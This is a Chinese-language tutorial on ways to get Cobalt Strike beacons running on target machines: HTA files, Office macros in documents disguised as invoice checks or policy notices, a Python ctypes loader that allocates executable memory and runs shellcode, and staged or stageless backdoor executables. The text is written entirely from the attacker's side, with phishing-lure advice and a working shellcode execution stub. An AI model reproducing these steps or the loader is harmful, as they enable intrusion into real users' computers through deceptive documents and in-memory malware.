cs上线方式
1. HTA文档
打开cs,选择HTA相关内容
选择对应监听器,并且生成相应内容
在Method方法中,可以选择最终的木马是exe可执行文件、powershell还是VBA脚本的形式
发送到目标机器上执行(尽量为低版本的Windows,高版本可能不起作用)
2. Office宏
打开Office宏生成页面
选择对应监听器,生成相应的office宏内容
复制宏内容
新建一个offcie文件(不能是wps的,这里以word为例),在搜索栏搜索宏,并进入编辑宏页面
注意:这里也可以直接使用正常文件,但添加新的宏
新建一个宏
替换宏内容
根据你的目标,伪装word文档内容(例如发票报销核查、制度变化等),
并保存为docm文档格式
发送给目标机器执行,成功上线
3. Payload生成器
(1). 单个payload生成
进入Payload生成器页面
生成对应脚本的Payload(我这里以Python格式的脚本举例)
该脚本内容为shellcode
将该shellcode放入shellcode解释器指定位置,保存并退出
import ctypes # 示例 shellcode,确保它不是空的 shellcode = bytearray(b"放入cs生成的payload") ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 分配内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 检查内存是否分配成功 if ptr == 0: raise Exception("VirtualAlloc failed to allocate memory.") # 将 shellcode 加载到分配的内存中 buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) # 使用 RtlMoveMemory 将 shellcode 拷贝到分配的内存区域 ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode))) # 创建线程执行 shellcode handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) # 等待线程完成 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
将上一步最终获得的脚本发送给目标机器执行,成功上线
(2). 无阶段式
- 方法同上
4. Windows载荷
- 有3种方式,
- 分阶段式,相当于一个连接器,首先会连接到攻击者的服务器,然后请求下载更多的代码,适合查杀严格但出网情况
- 无阶段式,所有攻击代码都在一个文件中,不需要后续下载,适合查杀宽松但不出网情况
- 所有负载,会生成包含各种有效负载的 stageless 木马,,适用于脱机或复杂网络条件下的攻击场景
(1). 分阶段式
针对监听器,生成exe后门文件
将后门程序通过各种方式,上传到目标机器上并运行
目标机器上运行后,成功上线该机器
(2). 无阶段式
进入无阶段式模式
生成相对应的木马
发送给目标机器执行,成功上线
(3). 所有负载
进入所有负载模式
选择适当的文件夹存放内容
查看文件夹内容
选择适用情况的木马来使用,使用方法同上面两种方法